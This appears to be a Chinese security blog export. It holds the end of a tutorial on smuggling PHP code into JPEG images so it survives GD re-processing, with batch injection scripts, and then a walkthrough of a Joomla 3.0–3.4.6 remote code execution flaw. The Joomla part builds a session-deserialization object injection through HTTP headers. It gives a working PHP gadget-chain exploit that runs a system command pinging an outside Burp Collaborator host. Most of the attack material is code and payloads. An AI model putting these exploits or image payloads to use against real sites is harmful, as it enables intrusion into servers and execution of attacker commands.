<span class="k">return</span> <span class="p">(</span><span class="n">pre_payload</span> <span class="o">+</span> <span class="n">bin_payload</span> <span class="o">+</span> <span class="n">post_payload</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</code></pre></div>
<p>由于并不是所有的图片都可以进行成功注入,我们可能需要大批量的进行测试,我编写了几个脚本来帮助简化测试</p>
<p>首先,将本机所有的jpg图片复制到同一个目录中:</p>
<div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>find<span class="w"> </span>/<span class="w"> </span>-name<span class="w"> </span><span class="s1">'*.jpg'</span><span class="w"> </span>-exec<span class="w"> </span>cp<span class="w"> </span><span class="s2">"{}"</span><span class="w"> </span>/tmp/jpgs<span class="w"> </span><span class="se">\;</span>
</code></pre></div>
<p>然后我们需要将所有的图片用gd处理一下,因为注入之后我们还需要再gd处理一次,预处理是为了使图片的头部一致,便于对比</p>
<p>预处理脚本:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
<span class="nv">search_dir</span><span class="o">=</span><span class="s2">"/tmp/jpgs"</span>
<span class="k">for</span><span class="w"> </span>entry<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="s2">"</span><span class="nv">$search_dir</span><span class="s2">"</span>/*
<span class="k">do</span>
<span class="w"> </span><span class="nv">var1</span><span class="o">=</span><span class="s2">"/tmp/gdjpgs/"</span>
<span class="w"> </span><span class="nv">basenamefordiff</span><span class="o">=</span><span class="sb">`</span>basename<span class="w"> </span><span class="nv">$entry</span><span class="sb">`</span>
<span class="w"> </span><span class="nv">dstfilename</span><span class="o">=</span><span class="s2">"</span><span class="nv">$var1$basenamefordiff</span><span class="s2">"</span>
<span class="w"> </span>php<span class="w"> </span>/tmp/php-gd.php<span class="w"> </span><span class="nv">$entry</span><span class="w"> </span><span class="nv">$dstfilename</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"</span><span class="nv">$entry</span><span class="s2">"</span>
<span class="k">done</span>
</code></pre></div>
<p>注入脚本:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
<span class="nv">search_dir</span><span class="o">=</span><span class="s2">"/tmp/gdjpgs"</span>
<span class="k">for</span><span class="w"> </span>entry<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="s2">"</span><span class="nv">$search_dir</span><span class="s2">"</span>/*
<span class="k">do</span>
<span class="w"> </span><span class="nv">var1</span><span class="o">=</span><span class="s2">"/tmp/injectedjpgs/"</span>
<span class="w"> </span><span class="nv">basenamefordiff</span><span class="o">=</span><span class="sb">`</span>basename<span class="w"> </span><span class="nv">$entry</span><span class="sb">`</span>
<span class="w"> </span><span class="nv">dstfilename</span><span class="o">=</span><span class="s2">"</span><span class="nv">$var1$basenamefordiff</span><span class="s2">"</span>
<span class="w"> </span>python3<span class="w"> </span>/tmp/jpeg-injector.py<span class="w"> </span><span class="nv">$entry</span><span class="w"> </span><span class="nv">$dstfilename</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"</span><span class="nv">$entry</span><span class="s2">"</span>
<span class="k">done</span>
</code></pre></div>
<p>再进行一次gd渲染:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
<span class="nv">search_dir</span><span class="o">=</span><span class="s2">"/tmp/injectedjpgs"</span>
<span class="k">for</span><span class="w"> </span>entry<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="s2">"</span><span class="nv">$search_dir</span><span class="s2">"</span>/*
<span class="k">do</span>
<span class="w"> </span><span class="nv">var1</span><span class="o">=</span><span class="s2">"/tmp/gdinjectedjpgs/"</span>
<span class="w"> </span><span class="nv">basenamefordiff</span><span class="o">=</span><span class="sb">`</span>basename<span class="w"> </span><span class="nv">$entry</span><span class="sb">`</span>
<span class="w"> </span><span class="nv">dstfilename</span><span class="o">=</span><span class="s2">"</span><span class="nv">$var1$basenamefordiff</span><span class="s2">"</span>
<span class="w"> </span>php<span class="w"> </span>/tmp/php-gd.php<span class="w"> </span><span class="nv">$entry</span><span class="w"> </span><span class="nv">$dstfilename</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"</span><span class="nv">$entry</span><span class="s2">"</span>
<span class="k">done</span>
</code></pre></div>
<p><strong>理论上来讲,预处理步骤可以省去,这个我没测试,XDM可以自行测试</strong></p>
<p>查找注入成功的图片:</p>
<div class="highlight"><pre><span></span><code><span class="kn">import</span> <span class="nn">binascii</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="k">for</span> <span class="n">root</span><span class="p">,</span><span class="n">dirs</span><span class="p">,</span><span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">walk</span><span class="p">(</span><span class="sa">r</span><span class="s2">"/tmp/gdinjectedjpgs"</span><span class="p">):</span>
<span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
<span class="n">imagepath</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">root</span><span class="p">,</span><span class="n">file</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">imagepath</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
<span class="n">hexdata</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">hexlify</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">ascii_string</span> <span class="o">=</span> <span class="n">hexdata</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">'utf-8'</span><span class="p">)</span>
<span class="k">if</span> <span class="n">ascii_string</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">"3c3f70687020706870696e666f28293b3f3e"</span><span class="p">)</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"bingo!"</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">imagepath</span><span class="p">)</span>
</code></pre></div>
<p>其中<code>3c3f70687020706870696e666f28293b3f3e</code>是<code><?php phpinfo();?></code>的16进制对应的字符串,这个跟你前面在<code>jpeg-injector.py</code>中的第11行硬编码的payload的值有关</p>
<p>正常情况下,至少应该有一两个注入成功,如果一个都没有,你可能需要更多的jpg文件来进行测试</p>
<h1>End</h1>
<p>我不能直接把做好的图片放出来,懂的都懂</p>
<p>biaojigaoliang1另外,在本地使用gd进行图片的处理时最好使用和目标php版本一致的phpbiaojigaoliang2</p>Joomla! CMS 3.0~3.4.6 RCE2021-07-08T00:00:00+02:002021-07-08T00:00:00+02:0012138tag:None,2021-07-08:joomla-cms-30346-rce.html<p>参考链接:</p>
<ul>
<li><a href="https://1day.dev/web/2019/10/03/rusty-joomla-rce.html">https://1day.dev/web/2019/10/03/rusty-joomla-rce.html</a></li>
<li><a href="https://www.php.net/manual/en/function.session-decode.php">https://www.php.net/manual/en/function.session-decode.php</a></li>
</ul>
<h1>概述</h1>
<p>这个漏洞是由于Joomla在处理session数据的部分引起的</p>
<p>关键代码就在session handler的read和write方法处:</p>
<p><code>\libraries\joomla\session\storage\database.php</code>第46和71行</p>
<div class="highlight"><pre><span></span><code><span class="nv">$data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>str_replace …</code></pre></div><p>参考链接:</p>
<ul>
<li><a href="https://1day.dev/web/2019/10/03/rusty-joomla-rce.html">https://1day.dev/web/2019/10/03/rusty-joomla-rce.html</a></li>
<li><a href="https://www.php.net/manual/en/function.session-decode.php">https://www.php.net/manual/en/function.session-decode.php</a></li>
</ul>
<h1>概述</h1>
<p>这个漏洞是由于Joomla在处理session数据的部分引起的</p>
<p>关键代码就在session handler的read和write方法处:</p>
<p><code>\libraries\joomla\session\storage\database.php</code>第46和71行</p>
<div class="highlight"><pre><span></span><code><span class="nv">$data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>str_replace<span class="o">(</span>chr<span class="o">(</span><span class="m">0</span><span class="o">)</span><span class="w"> </span>.<span class="w"> </span><span class="s1">'*'</span><span class="w"> </span>.<span class="w"> </span>chr<span class="o">(</span><span class="m">0</span><span class="o">)</span>,<span class="w"> </span><span class="s1">'\0\0\0'</span>,<span class="w"> </span><span class="nv">$data</span><span class="o">)</span><span class="p">;</span>
</code></pre></div>
<p>biaojigaoliang1由Joomla处理而产生的<code>\0</code>只会占一个字节,因为它原来是空字节和<code>*</code>字符,所以在序列化的数据中<code>s:3:\0\0\0</code>是正常的,但是如果我们手动注入了<code>\0\0\0</code>字符,那么序列化的数据就是<code>s:6:\0\0\0</code>,但是read方法会把<code>\0\0\0</code>替换为<code>Null*Null</code>,替换之后只占3个字节,多出来的这3字节就给了我们可乘之机,,对象注入就是从这里产生的biaojigaoliang2</p>
<h1>分析</h1>
<p>下面的内容实际上是对网上exp的分析,biaojigaoliang1不同的是网上公开的exp使用的是序列化数据中的username和password字段,但是这个不具有普遍性,因为它需要能够访问<code>index.php/components/user.php</code>,并不是所有的网站都会处理这个请求,在下面的分析中,我选择通过user-agent和x-forwaard-for这两个http头进行漏洞利用biaojigaoliang2</p>
<p><strong>因为只要两个字段是连续的即可,前一个字段用于撑大空间,后一个字段用于注入对象,因此除了username和password字段,x-forwarded-for和user-agent字段也是可以实现的</strong></p>
<h2>预备知识</h2>
<p>这是一段正常的Joomla session数据:</p>
<div class="highlight"><pre><span></span><code><span class="x">__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625763909;s:18:"session.timer.last";i:1625763909;s:17:"session.timer.now";i:1625763909;s:22:"session.client.browser";s:131:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"56bb4f43d168909f6df0e1a50fd84b17";}</span>
</code></pre></div>
<p>这里需要注意的是,php序列化session用的方法和<code>serialize</code>方法是不完全一样的,它的一般格式为:</p>
<div class="highlight"><pre><span></span><code>key<span class="p">|</span>serialize<span class="w"> </span>data
</code></pre></div>
<p>biaojigaoliang1除了前面的键和<code>|</code>,后面的序列化数据和<code>serialize</code>函数产生的序列化数据是一致的biaojigaoliang2</p>
<p>对于对象的序列化,不同的权限修饰符下的成员变量序列化之后的数据也是有差异的:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">class</span> <span class="nc">TestClass</span> <span class="p">{</span>
<span class="nx">PermissionDecorator</span> <span class="nv">$testMember</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$t</span><span class="p">)</span>
<span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">testMember</span> <span class="o">=</span> <span class="nv">$t</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="nv">$data</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TestClass</span><span class="p">(</span><span class="s2">"fuckyou"</span><span class="p">);</span>
</code></pre></div>
<p>public:</p>
<div class="highlight"><pre><span></span><code><span class="s2">"O:9:"</span>TestClass<span class="s2">":1:{s:10:"</span>testMember<span class="s2">";s:7:"</span>fuckyou<span class="s2">";}"</span>
</code></pre></div>
<p>protected:</p>
<div class="highlight"><pre><span></span><code><span class="s2">"O:9:"</span>TestClass<span class="s2">":1:{s:13:"</span><span class="se">\x</span><span class="m">00</span>*<span class="se">\x</span>00testMember<span class="s2">";s:7:"</span>fuckyou<span class="s2">";}"</span>
</code></pre></div>
<p>private:</p>
<div class="highlight"><pre><span></span><code><span class="s2">"O:9:"</span>TestClass<span class="s2">":1:{s:21:"</span><span class="se">\x</span>00TestClass<span class="se">\x</span>00testMember<span class="s2">";s:7:"</span>fuckyou<span class="s2">";}"</span>
</code></pre></div>
<h2>准备对象构造</h2>
<p>我们先来看一下正常的user-agent和x-forwarded-for序列化之后的样子</p>
<div class="highlight"><pre><span></span><code>__default<span class="p">|</span>a:9:<span class="o">{</span>s:15:<span class="s2">"session.counter"</span><span class="p">;</span>i:1<span class="p">;</span>s:19:<span class="s2">"session.timer.start"</span><span class="p">;</span>i:1625766121<span class="p">;</span>s:18:<span class="s2">"session.timer.last"</span><span class="p">;</span>i:1625766121<span class="p">;</span>s:17:<span class="s2">"session.timer.now"</span><span class="p">;</span>i:1625766121<span class="p">;</span>s:24:<span class="s2">"session.client.forwarded"</span><span class="p">;</span>s:23:<span class="s2">"normal_x_for_warded_for"</span><span class="p">;</span>s:22:<span class="s2">"session.client.browser"</span><span class="p">;</span>s:17:<span class="s2">"normal_user_agent"</span><span class="p">;</span>s:8:<span class="s2">"registry"</span><span class="p">;</span>O:24:<span class="s2">"Joomla\Registry\Registry"</span>:2:<span class="o">{</span>s:7:<span class="s2">"\0\0\0data"</span><span class="p">;</span>O:8:<span class="s2">"stdClass"</span>:0:<span class="o">{}</span>s:9:<span class="s2">"separator"</span><span class="p">;</span>s:1:<span class="s2">"."</span><span class="p">;</span><span class="o">}</span>s:4:<span class="s2">"user"</span><span class="p">;</span>O:5:<span class="s2">"JUser"</span>:26:<span class="o">{</span>s:9:<span class="s2">"\0\0\0isRoot"</span><span class="p">;</span>b:0<span class="p">;</span>s:2:<span class="s2">"id"</span><span class="p">;</span>i:0<span class="p">;</span>s:4:<span class="s2">"name"</span><span class="p">;</span>N<span class="p">;</span>s:8:<span class="s2">"username"</span><span class="p">;</span>N<span class="p">;</span>s:5:<span class="s2">"email"</span><span class="p">;</span>N<span class="p">;</span>s:8:<span class="s2">"password"</span><span class="p">;</span>N<span class="p">;</span>s:14:<span class="s2">"password_clear"</span><span class="p">;</span>s:0:<span class="s2">""</span><span class="p">;</span>s:5:<span class="s2">"block"</span><span class="p">;</span>N<span class="p">;</span>s:9:<span class="s2">"sendEmail"</span><span class="p">;</span>i:0<span class="p">;</span>s:12:<span class="s2">"registerDate"</span><span class="p">;</span>N<span class="p">;</span>s:13:<span class="s2">"lastvisitDate"</span><span class="p">;</span>N<span class="p">;</span>s:10:<span class="s2">"activation"</span><span class="p">;</span>N<span class="p">;</span>s:6:<span class="s2">"params"</span><span class="p">;</span>N<span class="p">;</span>s:6:<span class="s2">"groups"</span><span class="p">;</span>a:1:<span class="o">{</span>i:0<span class="p">;</span>s:1:<span class="s2">"9"</span><span class="p">;</span><span class="o">}</span>s:5:<span class="s2">"guest"</span><span class="p">;</span>i:1<span class="p">;</span>s:13:<span class="s2">"lastResetTime"</span><span class="p">;</span>N<span class="p">;</span>s:10:<span class="s2">"resetCount"</span><span class="p">;</span>N<span class="p">;</span>s:12:<span class="s2">"requireReset"</span><span class="p">;</span>N<span class="p">;</span>s:10:<span class="s2">"\0\0\0_params"</span><span class="p">;</span>O:24:<span class="s2">"Joomla\Registry\Registry"</span>:2:<span class="o">{</span>s:7:<span class="s2">"\0\0\0data"</span><span class="p">;</span>O:8:<span class="s2">"stdClass"</span>:0:<span class="o">{}</span>s:9:<span class="s2">"separator"</span><span class="p">;</span>s:1:<span class="s2">"."</span><span class="p">;</span><span class="o">}</span>s:14:<span class="s2">"\0\0\0_authGroups"</span><span class="p">;</span>a:2:<span class="o">{</span>i:0<span class="p">;</span>i:1<span class="p">;</span>i:1<span class="p">;</span>i:9<span class="p">;</span><span class="o">}</span>s:14:<span class="s2">"\0\0\0_authLevels"</span><span class="p">;</span>a:3:<span class="o">{</span>i:0<span class="p">;</span>i:1<span class="p">;</span>i:1<span class="p">;</span>i:1<span class="p">;</span>i:2<span class="p">;</span>i:5<span class="p">;</span><span class="o">}</span>s:15:<span class="s2">"\0\0\0_authActions"</span><span class="p">;</span>N<span class="p">;</span>s:12:<span class="s2">"\0\0\0_errorMsg"</span><span class="p">;</span>N<span class="p">;</span>s:13:<span class="s2">"\0\0\0userHelper"</span><span class="p">;</span>O:18:<span class="s2">"JUserWrapperHelper"</span>:0:<span class="o">{}</span>s:10:<span class="s2">"\0\0\0_errors"</span><span class="p">;</span>a:0:<span class="o">{}</span>s:3:<span class="s2">"aid"</span><span class="p">;</span>i:0<span class="p">;</span><span class="o">}</span>s:13:<span class="s2">"session.token"</span><span class="p">;</span>s:32:<span class="s2">"633f966f72f7287671a24606baed1113"</span><span class="p">;</span><span class="o">}</span>
</code></pre></div>
<div class="highlight"><pre><span></span><code><span class="n">s</span><span class="o">:</span><span class="mi">24</span><span class="o">:</span><span class="s2">"session.client.forwarded"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">23</span><span class="o">:</span><span class="s2">"normal_x_for_warded_for"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">22</span><span class="o">:</span><span class="s2">"session.client.browser"</span><span class="o">;</span><span class="n">s</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="s2">"normal_user_agent"</span><span class="o">;</span>
</code></pre></div>
<p>如果把上面的<code>normal_user_agent</code>替换成<code>normal_user_agent";SerializedObject</code>,那么我们就有可能完成对象的注入,唯一的问题是前面有一个<code>s:17</code>限制我们的长度,导致session反序列化失败,无法完成对象注入</p>
<p>结合前面的<code>\0\0\0</code>替换漏洞,我们可以往<code>ormal_x_for_warded_for</code>中添加若干组<code>\0\0\0</code>来扩大<code>s:23</code>中的<code>23</code>,以囊括</p>
<div class="highlight"><pre><span></span><code>session.client.forwarded<span class="s2">";s:23:"</span>normal_x_for_warded_for<span class="s2">";s:22:"</span>session.client.browser<span class="s2">";s:17:"</span>normal_user_agent
</code></pre></div>
<p>其实就是一个简单的方程式:</p>
<div class="highlight"><pre><span></span><code>6x<span class="w"> </span>+<span class="w"> </span><span class="nv">23</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>3x<span class="w"> </span>+<span class="w"> </span><span class="m">55</span><span class="w"> </span>+<span class="w"> </span><span class="nv">23</span><span class="w"> </span><span class="o">==</span>><span class="w"> </span><span class="nv">3x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">55</span>
</code></pre></div>
<p><code>23</code>是<code>normal_x_for_warded_for</code>的长度,<code>55</code>是<code>";s:22:"session.client.browser";s:17:"normal_user_agent</code>的长度</p>
<p>除不尽,只需要往<code>normal_user_agent</code>再加2个字符即可;</p>
<div class="highlight"><pre><span></span><code><span class="nv">3x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nv">57</span><span class="w"> </span><span class="o">==</span>><span class="w"> </span><span class="nv">x</span><span class="o">=</span><span class="m">19</span>
</code></pre></div>
<p>这是构造完的http请求对应的session数据</p>
<div class="highlight"><pre><span></span><code>hj__default<span class="p">|</span>a:9:<span class="o">{</span>s:15:<span class="s2">"session.counter"</span><span class="p">;</span>i:1<span class="p">;</span>s:19:<span class="s2">"session.timer.start"</span><span class="p">;</span>i:1625767987<span class="p">;</span>s:18:<span class="s2">"session.timer.last"</span><span class="p">;</span>i:1625767987<span class="p">;</span>s:17:<span class="s2">"session.timer.now"</span><span class="p">;</span>i:1625767987<span class="p">;</span>s:24:<span class="s2">"session.client.forwarded"</span><span class="p">;</span>s:137:<span class="s2">"normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"</span><span class="p">;</span>s:22:<span class="s2">"session.client.browser"</span><span class="p">;</span>s:33:<span class="s2">"normal_user_agent12"</span><span class="p">;</span>ObjectInject<span class="s2">";s:8:"</span>registry<span class="s2">";O:24:"</span>Joomla<span class="se">\R</span>egistry<span class="se">\R</span>egistry<span class="s2">":2:{s:7:"</span><span class="se">\0\0\0</span>data<span class="s2">";O:8:"</span>stdClass<span class="s2">":0:{}s:9:"</span>separator<span class="s2">";s:1:"</span>.<span class="s2">";}s:4:"</span>user<span class="s2">";O:5:"</span>JUser<span class="s2">":26:{s:9:"</span><span class="se">\0\0\0</span>isRoot<span class="s2">";b:0;s:2:"</span>id<span class="s2">";i:0;s:4:"</span>name<span class="s2">";N;s:8:"</span>username<span class="s2">";N;s:5:"</span>email<span class="s2">";N;s:8:"</span>password<span class="s2">";N;s:14:"</span>password_clear<span class="s2">";s:0:"";s:5:"</span>block<span class="s2">";N;s:9:"</span>sendEmail<span class="s2">";i:0;s:12:"</span>registerDate<span class="s2">";N;s:13:"</span>lastvisitDate<span class="s2">";N;s:10:"</span>activation<span class="s2">";N;s:6:"</span>params<span class="s2">";N;s:6:"</span>groups<span class="s2">";a:1:{i:0;s:1:"</span><span class="m">9</span><span class="s2">";}s:5:"</span>guest<span class="s2">";i:1;s:13:"</span>lastResetTime<span class="s2">";N;s:10:"</span>resetCount<span class="s2">";N;s:12:"</span>requireReset<span class="s2">";N;s:10:"</span><span class="se">\0\0\0</span>_params<span class="s2">";O:24:"</span>Joomla<span class="se">\R</span>egistry<span class="se">\R</span>egistry<span class="s2">":2:{s:7:"</span><span class="se">\0\0\0</span>data<span class="s2">";O:8:"</span>stdClass<span class="s2">":0:{}s:9:"</span>separator<span class="s2">";s:1:"</span>.<span class="s2">";}s:14:"</span><span class="se">\0\0\0</span>_authGroups<span class="s2">";a:2:{i:0;i:1;i:1;i:9;}s:14:"</span><span class="se">\0\0\0</span>_authLevels<span class="s2">";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"</span><span class="se">\0\0\0</span>_authActions<span class="s2">";N;s:12:"</span><span class="se">\0\0\0</span>_errorMsg<span class="s2">";N;s:13:"</span><span class="se">\0\0\0</span>userHelper<span class="s2">";O:18:"</span>JUserWrapperHelper<span class="s2">":0:{}s:10:"</span><span class="se">\0\0\0</span>_errors<span class="s2">";a:0:{}s:3:"</span>aid<span class="s2">";i:0;}s:13:"</span>session.token<span class="s2">";s:32:"</span>b4131b29f0fae45b8d98576b25ceb35a<span class="s2">";}</span>
</code></pre></div>
<p>Joomla在read session数据时,将<code>\0\0\0</code>替换成<code>Null*Null</code>,也就是将6字节缩短为3字节,那么上面数据中的<code>137</code>也就缩短为<code>80</code>了,加上后面的</p>
<div class="highlight"><pre><span></span><code><span class="s2">";s:22:"</span>session.client.browser<span class="s2">";s:33:"</span>normal_user_agent12
</code></pre></div>
<p>biaojigaoliang1长度为57,正好是137,这样我们注入的对象就逃逸出来了biaojigaoliang2</p>
<h2>构造对象序列化字符串</h2>
<p>选择<code>libraries\joomla\database\driver\mysqli.php</code>作为反序列化对象,因为它的析构函数中调用了<code>disconnect</code>方法,而该方法中调用了<strong>call_user_func_array</strong>方法,而且第一个参数是可控的:<code>$this->disconnectHandlers</code></p>
<p><strong>call_user_func_array</strong>函数的第一个参数可以是一个数组:</p>
<div class="highlight"><pre><span></span><code>call_user_func_array(array(object function), args);
</code></pre></div>
<p>那么最后调用的形式为:</p>
<div class="highlight"><pre><span></span><code>object.function<span class="o">(</span>args<span class="o">)</span><span class="p">;</span>
</code></pre></div>
<p>这里我们虽然控制不了传递给方法的参数,但是我们可以控制调用的方法</p>
<p>我们选择使用<code>libraries\simplepie\simplepie.php</code>中的<code>SimplePie</code>对象的<code>init</code>方法</p>
<p>第1550行:</p>
<div class="highlight"><pre><span></span><code><span class="nv">$cache</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>call_user_func<span class="o">(</span>array<span class="o">(</span><span class="nv">$this</span>->cache_class,<span class="w"> </span><span class="s1">'create'</span><span class="o">)</span>,<span class="w"> </span><span class="nv">$this</span>->cache_location,<span class="w"> </span>call_user_func<span class="o">(</span><span class="nv">$this</span>->cache_name_function,<span class="w"> </span><span class="nv">$this</span>->feed_url<span class="o">)</span>,<span class="w"> </span><span class="s1">'spc'</span><span class="o">)</span><span class="p">;</span>
</code></pre></div>
<p>这里可以看到call_user_func方法的两个参数我们全部可以控制,进而达到RCE</p>
<p>简单看一下SimplePie的init方法的代码我们就可以写出下面的exp:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="k">namespace</span> <span class="p">{</span>
<span class="k">class</span> <span class="nc">JSimplepieFactory</span> <span class="p">{</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">namespace</span> <span class="p">{</span>
<span class="k">class</span> <span class="nc">SimplePie_Sanitize</span> <span class="p">{</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">namespace</span> <span class="p">{</span>
<span class="k">class</span> <span class="nc">SimplePie</span> <span class="p">{</span>
<span class="k">public</span> <span class="nv">$sanitize</span><span class="p">;</span>
<span class="k">public</span> <span class="nv">$raw_data</span><span class="p">;</span>
<span class="k">public</span> <span class="nv">$feed_url</span><span class="p">;</span>
<span class="k">public</span> <span class="nv">$cache_name_function</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">namespace</span> <span class="p">{</span>
<span class="k">class</span> <span class="nc">JDatabaseDriverMysqli</span> <span class="p">{</span>
<span class="c1">//我们需要伪造一个成员变量JSimplepieFactory对象,来引入SimplePie类文件</span>
<span class="k">protected</span> <span class="nv">$justincase</span><span class="p">;</span>
<span class="k">protected</span> <span class="nv">$disconnectHandlers</span><span class="p">;</span>
<span class="k">protected</span> <span class="nv">$connection</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$justincase</span><span class="p">,</span> <span class="nv">$disconnectHandlers</span><span class="p">,</span> <span class="nv">$connection</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">justincase</span> <span class="o">=</span> <span class="nv">$justincase</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">disconnectHandlers</span> <span class="o">=</span> <span class="nv">$disconnectHandlers</span><span class="p">;</span>
<span class="nv">$this</span><span class="o">-></span><span class="na">connection</span> <span class="o">=</span> <span class="nv">$connection</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">namespace</span> <span class="p">{</span>
<span class="k">require</span> <span class="no">__DIR__</span><span class="o">.</span><span class="s1">'/vendor/autoload.php'</span><span class="p">;</span>
<span class="nv">$a</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\SimplePie</span><span class="p">;</span>
<span class="nv">$a</span><span class="o">-></span><span class="na">sanitize</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\SimplePie_Sanitize</span><span class="p">;</span>
<span class="nv">$a</span><span class="o">-></span><span class="na">raw_data</span> <span class="o">=</span> <span class="s2">"12138"</span><span class="p">;</span>
<span class="nv">$a</span><span class="o">-></span><span class="na">feed_url</span> <span class="o">=</span> <span class="s2">"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one"</span><span class="p">;</span>
<span class="nv">$a</span><span class="o">-></span><span class="na">cache_name_function</span> <span class="o">=</span> <span class="s2">"assert"</span><span class="p">;</span>
<span class="nv">$b</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">\JDatabaseDriverMysqli</span><span class="p">(</span><span class="k">new</span> <span class="nx">\JSimplepieFactory</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span><span class="k">array</span><span class="p">(</span><span class="nv">$a</span><span class="p">,</span> <span class="s2">"init"</span><span class="p">)),</span> <span class="mi">1</span><span class="p">);</span>
<span class="nx">dump</span><span class="p">(</span><span class="nb">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
<span class="p">}</span>
<span class="cp">?></span>
</code></pre></div>
<p>上面有一个值得注意的地方,就是伪造了一个在JDatabaseDriverMysqli类定义中根本不存在的成员变量<code>$justincase</code>,并将其值设置为一个JSimplepieFactory对象,这是因为我们使用的SimplePie类并不在Joomla的类查找路径中,也没有被自动加载到应用中,它是由<code>libraries\legacy\simplepie\factory.php</code>引入的</p>
<p>第12行:</p>
<div class="highlight"><pre><span></span><code><span class="x">jimport('simplepie.simplepie');</span>
</code></pre></div>
<p>我们通过伪造这个成员变量,让php初始化JSimplepieFactory类,进而达到引入SimplePie类的目的</p>
<p>上面的exp生成的序列化字符串如下:</p>
